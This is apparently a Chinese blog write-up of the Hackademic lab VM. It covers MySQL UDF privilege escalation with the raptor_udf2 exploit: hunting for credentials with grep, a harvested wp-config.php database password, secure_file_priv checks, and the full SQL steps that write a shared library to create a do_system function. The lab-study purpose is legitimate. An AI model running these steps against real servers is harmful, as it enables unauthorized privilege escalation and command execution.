首页 > 其他分享 >靶机 hackademic-udf提权

靶机 hackademic-udf提权

时间:2024-09-18 12:38:26浏览次数:11  
标签:hackademic 提权 udf2 udf file mysql raptor

sqlmap一把梭

burpsuit跑账号密码,可能跑不出来,登录有点问题

查不到有用信息,尝试内核提权

提权成功

拓展-mysql udf提权

看到别人的wp改造一下靶机能学到别的东西

https://blog.csdn.net/Bossfrank/article/details/131553175

先拿到root权限,在/usr/lib/mysql/目录下将plugin目录的权限改为777原因后讲

再切回去apache用户

https://blog.csdn.net/Bossfrank/article/details/131424479

https://blog.csdn.net/qq_44159028/article/details/121193134

udf先决条件

  • 拥有mysql用户与密码,可以远程登录mysql
  • mysql具有写入文件的权限,即secure_file_priv的值为空

找找配置文件

grep -R -i DB_USER /var/* 2>/dev/null

可以看到有一个wp-config.php

bash-4.0$ cat wp-config.php
cat wp-config.php
<?php
// ** MySQL settings ** //
define('DB_NAME', 'wordpress');     // The name of the database
define('DB_USER', 'root');     // Your MySQL username
define('DB_PASSWORD', 'lz5yedns'); // ...and password
define('DB_HOST', 'localhost');     // 99% chance you won't need to change this value

// Change the prefix if you want to have multiple blogs in a single database.
$table_prefix  = 'wp_';   // example: 'wp_' or 'b2' or 'mylogin_'

// Change this to localize WordPress.  A corresponding MO file for the
// chosen language must be installed to wp-includes/languages.
// For example, install de.mo to wp-includes/languages and set WPLANG to 'de'
// to enable German language support.
define ('WPLANG', '');

/* Stop editing */

define('ABSPATH', dirname(__FILE__).'/');
require_once(ABSPATH.'wp-settings.php');
?>

成功拿到账号密码

查看mysql是否有写入文件的权限

mysql> show global variables like '%secure%';
show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入/导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入/导出做限制

上传UDF动态链接库文件

查看mysql版本

mysql> select version();
select version();
+-----------+
| version() |
+-----------+
| 5.1.47    |
+-----------+
1 row in set (0.00 sec)

udf.dll文件放置路径

1、mysql<5.0,路径随意
3、5.0<=MYsql<5.1, 放置系统目录(C:\windows\system32)
2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,(lib\plugin目录默认不存在,需自行创建)

这里就理解到为什么之前要将plugin加777权限,因为需要将udf.dll文件写入到这个plugin文件中

拿到exp

searchsploit mysql udf 
searchsploit mysql udf -m 1518

上传后按照exp的usage一路下去

 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));//这里要将路径改成自己上传编译后的文件路径
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

最后我们可以看到,可以成功提权到mysql用户组,如果这个组权限很高,那就能做更多事请了

bash-4.0$ id
id
uid=48(apache) gid=489(apache) groups=489(apachebash-4.0$ ./rootbash -p
./rootbash -p
rootbash-4.0$ id
id
uid=48(apache) gid=489(apache) euid=27(mysql) egid=480(mysql) groups=489(apache)

mysql提权各种姿势

https://www.sqlsec.com/2020/11/mysql.html

标签:hackademic,提权,udf2,udf,file,mysql,raptor
From: https://www.cnblogs.com/ethereal258/p/18418237

相关文章

  • 如何在 Cloudflare Page 上建立自己的 Hexo 博客
    本文首发于我的博客,部分图片和步骤来自在GitHubDesktop中向GitHub进行身份验证-GitHub文档0前置条件0.1安装Node.js打开nodejs.org,点击下载Node.js下载完毕后双击图标然后按Next点IacceptthetermsintheLicenseAgreement,再按Next然后一......
  • Cloudflare的403 禁止错误如何解决?
     Cloudflare的403错误与常规HTTP403错误代码并无二致,都表示禁止访问。这通常意味着你没有权限访问该文档。然而,在使用Cloudflare的情况下,当你尝试网页抓取时,可能会遇到这种情况,因为它可能表明你的IP地址已被禁止。绕过Cloudflare的403Forbidden错误有多种方......
  • HTB-Oopsie(越权漏洞,suid提权,js接口查询插件)
    前言各位师傅大家好,我是qmx_07,今天给大家讲解Oopsie靶机渗透过程信息搜集服务器开放了22SSH端口和HTTP80端口FindSomething插件介绍:帮助寻找网站的js接口,辅助渗透通过js接口查找,发现目录/cdn-cgi/login登录接口通过游客模式登录越权登录访问uploads文件......
  • Docker部署kubepi,并使用cloudflare配置https
    使用cloudflare配置https用docker部署kubepi,并且使用cloudflare开启https零、前情提要准备一台国外服务器(国内服务器也可,但是要备案)雨云服务器购买地址,这个比较便宜,我是自用然后1块钱买了一天试用做测试的,如果大家只是想学习一下的话可以注册1块钱买一天的,试用一下,而......
  • Cloudflare是什么?试试用这几招来绕过相关限制
    在当今的互联网时代,数据收集已经成为各行各业优化经营决策的必备方法。从金融、电商到医疗和物流等行业,数据收集都为各企业的决策支持提供了重要价值和帮助。但在实际的数据收集过程中,经常会碰到由于严格的网站防护而采集失败的问题,这是因为大部分的网站都使用了防网络机器人......
  • CloudFire+PicGo搭建免费图床
    目录CloudFire对象存储创建bucket配置域名配置Bucket访问APIPicGO配置CloudFire对象存储|CloudFire提供对象存储服务,每个月有10G的免费额度,并且直连稳定可靠,无需CDN加速,足够作为日常图床使用。创建bucket打开CloudFire官网并注册账号,点击R2存储。创建图床bucket地区可......
  • Cloudflare D1 - 免费数据存储
    前言自从上次将博客项目的图片从七牛云迁到了CloudflareR2之后就发现,Cloudflare这个赛博菩萨的产品是真的不错,非常的适合白嫖,DevNow项目作为一个开源博客,整体来说是希望越少依赖一些服务越好,使整个构建、部署流程更加的轻便和快捷,让对于前端不是很熟的同学也能快速的......
  • DrissionPage过5秒盾:反CloudFlare反爬
    5秒盾实例偶尔有用的解决方式:curl_cffi可以实现一些简单的反5秒盾。pipinstallcurl_cffifromcurl_cffiimportrequestsascffi_requestsheaders={"User-Agent":"Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/......
  • SAP B1 基础实操 - 用户定义字段 (UDF)
    目录一、功能介绍1. 使用场景2.操作逻辑3.常用定义部分3.1主数据3.2营销单据4.字段设置表单4.1字段基础信息4.2不同类详细设置4.3默认值/必填二、案例1 要求2操作步骤一、功能介绍1. 使用场景在实施过程中,经常会碰见用户需要的信息字段在标准单......
  • WEB渗透Linux提权篇-提权工具合集
     往期文章WEB渗透Linux提权篇-环境变量提权-CSDN博客工具合集工具名称下载地址工具描述BadPotatohttps://github.com/BeichenDream/BadPotatoWindows权限提升BadPotatoDatabasetoolshttps://github.com/Hel10-Web/Databasetools一款用Go语言编写的数据库自动化提权工具,......